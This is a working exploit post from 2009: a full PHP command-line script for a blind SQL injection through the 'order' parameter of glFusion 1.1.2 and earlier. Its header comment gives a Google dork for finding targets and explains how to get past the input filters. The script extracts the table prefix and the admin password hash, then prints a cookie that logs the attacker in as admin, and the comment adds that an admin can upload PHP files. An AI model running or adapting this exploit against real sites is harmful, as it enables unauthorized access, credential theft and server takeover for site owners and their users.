glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit Mar 29 2009 04:37AM
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<?php
/*
glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit
by Nine:Situations:Group::bookoo

working against Mysql >= 4.1
php.ini independent

our site: http://retrogod.altervista.org/
software site: http://www.glfusion.org/

google dork: "Page created in" "seconds by glFusion" +RSS

Vulnerability, sql injection in 'order' and 'direction' arguments:
look ExecuteQueries() function in /private/system/classes/listfactory.class.php, near line 336:
...

// Get the details for sorting the list
$this->_sort_arr['field'] = isset($_REQUEST['order']) ? COM_applyFilter($_REQUEST['order']) : $this->_def_sort_arr['field'];
$this->_sort_arr['direction'] = isset($_REQUEST['direction']) ? COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction'];
if (is_numeric($this->_sort_arr['field'])) {
$ord = $this->_def_sort_arr['field'];
$this->_sort_arr['field'] = SQL_TITLE;
} else {
$ord = $this->_sort_arr['field'];
}

$order_sql = ' ORDER BY ' . $ord . ' ' . strtoupper($this->_sort_arr['direction']);
...

filters are inefficient, see COM_applyFilter() which calls COM_applyBasicFilter()
in /public/lib-common.php near line 5774.

We are in an ORDER clause and vars are not surrounded by quotes,
bad chars are ex. "," , "/" ,"'", ";", "\",""","*","`"
but what about spaces and "("... you can use a CASE WHEN .. THEN .. ELSE .. END
construct instead of ex. IF(..,..,..) and "--" instead of "/*" to close
your query.
And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of
SUBSTR(str,n,n) in a sub-SELECT statement.
Other attacks are possible, COM_applyFilter() is a very common used one.

Additional notes: 'direction' argument is uppercased by strtoupper(),
you know that table identifiers on Unix-like systems are case sensitives
but not on MS Windows, however I choosed to inject in the 'order' one
for better results.
Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
$_COOKIE[], which is not intended I suppose.

This exploit extracts the hash from users table; also note that you do
not need to crack the hash, you can authenticate as admin with the
cookie:

glfusion=[uid]; glf_password=[hash];

as admin you can upload php files in public folders!

Very soft mitigations: glFusion does not show the table prefix in sql
errors, default however is 'gl_'. I prepared a fast routine to extract
it from information_schema db if availiable.
To successfully interrogate MySQL you need at least 2 records in the
same topic section, however the default installation create 2 links with
topic "glFusion"

*/

$err[0]="[!] This script is intended to be launched from the cli!";
$err[1]="[!] You need the curl extesion loaded!";

if (php_sapi_name() <> "cli") {
die($err[0]);
}
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) : nil;
}
else {
!dl("php_curl.so") ? die($err[1]) : nil;
}
}

function syntax(){
print (
"Syntax: php ".$argv[0]." [host] [path] [[port]] [OPTIONS] \n".
"Options: \n".
"--port:[port] - specify a port \n".
" default -> 80 \n".
"--prefix - try to extract table prefix from information.schema\n".
" default -> gl_ \n".
"--uid:[n] - specify an uid other than default (2,usually admin)\n".
"--proxy:[host:port] - use proxy \n".
"--enforce - try even with 'not vulnerable' message ");
die();
}

error_reporting(E_ALL ^ E_NOTICE);
$host=$argv[1];
$path=$argv[2];
$prefix="gl_"; //default
$uid="2";
$where= "uid=$uid"; //user id, usually admin, anonymous = 1

$argv[2] ? print("[*] Attacking...\n") : syntax();
$_f_prefix=false;
$_use_proxy=false;
$port=80;
$_enforce=false;

for ($i=3; $i<$argc; $i++){
if ( stristr($argv[$i],"--prefix")){
$_f_prefix=true;
}
if ( stristr($argv[$i],"--proxy:")){
$_use_proxy=true;
$tmp=explode(":",$argv[$i]);
$proxy_host=$tmp[1];
$proxy_port=(int)$tmp[2];
}
if ( stristr($argv[$i],"--port:")){
$tmp=explode(":",$argv[$i]);
$port=(int)$tmp[1];
}
if ( stristr($argv[$i],"--enforce")){
$_enforce=true;
}
if ( stristr($argv[$i],"--uid")){
$tmp=explode(":",$argv[$i]);
$uid=(int)$tmp[1];
$where="uid=$uid";
}
}

$url = "http://$argv[1]:$port";

function _s($url,$request)
{
global $_use_proxy,$proxy_host,$proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
if ($_use_proxy){
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}

function chk_err($s){
if (stripos ($s,"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x2
0\x6f\x63\x63\x75\x72\x72\x65\x64")){
return true;
}
else {
return false;
}
}

function xtrct_tpc($_h){
$_x=explode("\x69\x6e\x64\x65\x78\x2e\x70\x68\x70\x3f\x74\x6f\x70\x69\x6
3\x3d",$_h);
$_y=array();
for ($i=1; $i<count($_x); $i++){
$_tmp=explode("\x22",$_x[$i]);
if ((!in_array($_tmp[0],$_y)) and ($_tmp[0]<>'')) {
$_y[$i]=$_tmp[0];
}
}
return $_y;
}

$url ="http://$host:$port".$path."index.php";
$out= _s($url,"");
$_tpcs=xtrct_tpc($out);
$_types=array("links","stories","filemgmt","forum");
$_t=false;
for ($i=0; $i<count($_tpcs); $i++){
for ($j=0; $j<count($_types); $j++){
$url ="http://$host:$port".$path."search.php?query=a+a+a&keyType=all&datestar
t=&dateend=&topic=".$_tpcs[$i]."&type=".$_types[$j]."&author=0&results=2
5&mode=search";
$out= _s($url,"");
$mtchs=explode("\x3e\x32\x2e", $out);
if (count($mtchs)==2){
$_t=true;
break;
}
}
}

if ($_t==true){
$type = $_types[$j];
$topic= $_tpcs[$i];
} else {
$type= "links"; //section with at least 2 records of the same topic
$topic= "glFusion"; //existing topic in section
}

print("[*] topic -> '".$topic."', type -> '".$type."'\n");
$prepend="query=&topic=".$topic."&keyType=phrase";

//checking for vulnerability existence ...
$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=
1&type=all&author=0&results=25&mode=search&order=";
$_d="order=--;";
$out= _s($url,$_d);

//version compatibility
if (stripos($out,"\x73\x68\x6f\x75\x6c\x64\x20\x68\x61\x76\x65\x20\x61\x74\
x20\x6c\x65\x61\x73\x74\x20\x33\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\
x73")){
$prepend="query=a+a+a&topic=0&keyType=all";
$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=
1&type=all&author=0&results=25&mode=search";
$out= _s($url,$_d);
}

if (chk_err($out)) {
print("[*] Vulnerable ...\n");
} else {
print("[!] Not vulnerable ...\n");
if (!$_enforce){
die;
}
}

switch ($type) {
case $_types[0]:
$_order = array("id","url","description","title","hits","date","uid");
break;
case $_types[1]:
$_order = array("id","title","description","date","uid","hits","url");
break;
case $_types[2]:
$_order = array("id","uid","comments","hits","date","description","url");
break;
case $_types[3]:
$_order = array("id","name","forum","date","title","description","hits","uid");
break;

}

function xtrct_lnk($_h){
$_x=explode("\x3e\x31\x2e",$_h);
$_x=explode("\x3c\x61\x20\x68\x72\x65\x66\x3d\x22",$_x[1]);
$_x=explode("\x22",$_x[1]);
return html_entity_decode($_x[0]);
}

//checking for exploitability ...
$sql = urlencode("(CASE WHEN (SELECT 1) THEN 1 ELSE 1 END) LIMIT 1--");
$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=
1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$out= _s($url,$_d);
if (chk_err($out)) {
die("[!] Mysql < 4.1 ...");
} else {
print "[*] Subquery works, exploiting ...\n";
}

$_lnks = array();
$v = array();
for ($i=0; $i<count($_order); $i++){
$sql = urlencode("$_order[$i] LIMIT 1--");
$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=
1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
$l=xtrct_lnk($_o);
if (!in_array($l,$_lnks)) {
array_push($_lnks,$l);
array_push($v,$_order[$i]);
}
if (count($v)>1) {
print "[*] '".$v[0]."' and '".$v[1]."' in ORDER clause returs different records, good! \n";
break;
}
}

if (count($v)<=1) {die("[!] Unable to interrogate database: ".count(v)." record(s) in table ... need at least 2 with topic '".$topic." in section '".$type."' !");}

function find_prefix(){
global $_lnks ,$v, $type, $host, $port, $path, $prepend;
$_table_name="";
$j=1;
print "[*] Table name -> ";
while (!strstr($_table_name,chr(0))){
$mn=0x00;$mx=0xff;
while (1){
if (($mx + $mn) % 2 ==1){
$c= round(($mx + $mn) / 2) - 1;
} else {
$c= round(($mx + $mn) / 2);
}
$sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) >= ".$c.") FROM information_schema.TABLES WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=
1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
if (chk_err($_o)) {
die("\n[!] information_schema not availiable!");
}
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
$mn = $c;
}
else {
$mx = $c - 1;
}

if (($mx-$mn==1) or ($mx==$mn)){
$sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) = ".$mn.") FROM information_schema.tables WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=
1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
print chr($mn);
$_table_name.=chr($mn);
} else {
print chr($mx);
$_table_name.=chr($mx);
}
break;
}
}
$j++;
}
print "\n";
$_prefix = str_replace("trackbackcodes","",$_table_name);
return $_prefix;
}

if ($_f_prefix == true) {
$prefix=find_prefix();
print "[*] Table prefix -> ".$prefix."\n";
}

$c=array();$c=array_merge($c,range(0x30,0x39));$c=array_merge($c,range(0
x61,0x66));
print "[*] hash -> ";
$_hash="";
for ($j=1; $j<0x21; $j++){
for ($i=1; $i<=0xff; $i++){
$f=false;
if (in_array($i,$c)){
$sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(PASSWD FROM $j FOR 1))=$i) FROM ".$prefix."users WHERE $where LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=
1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
if (chk_err($_o)) {
die("\n[!] wrong table prefix!");
}
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
$f=true;
$_hash.=chr($i);
print chr($i); break;
}
}
}
if ($f==false){
die("\n[!] Unknown error ...");
}
}
print "\n[*] your cookie -> glfusion=".$uid."; glf_password=".$_hash."; glf_theme=nouveau;";
?>

original url: http://retrogod.altervista.org/9sg_glfusion_sql.html

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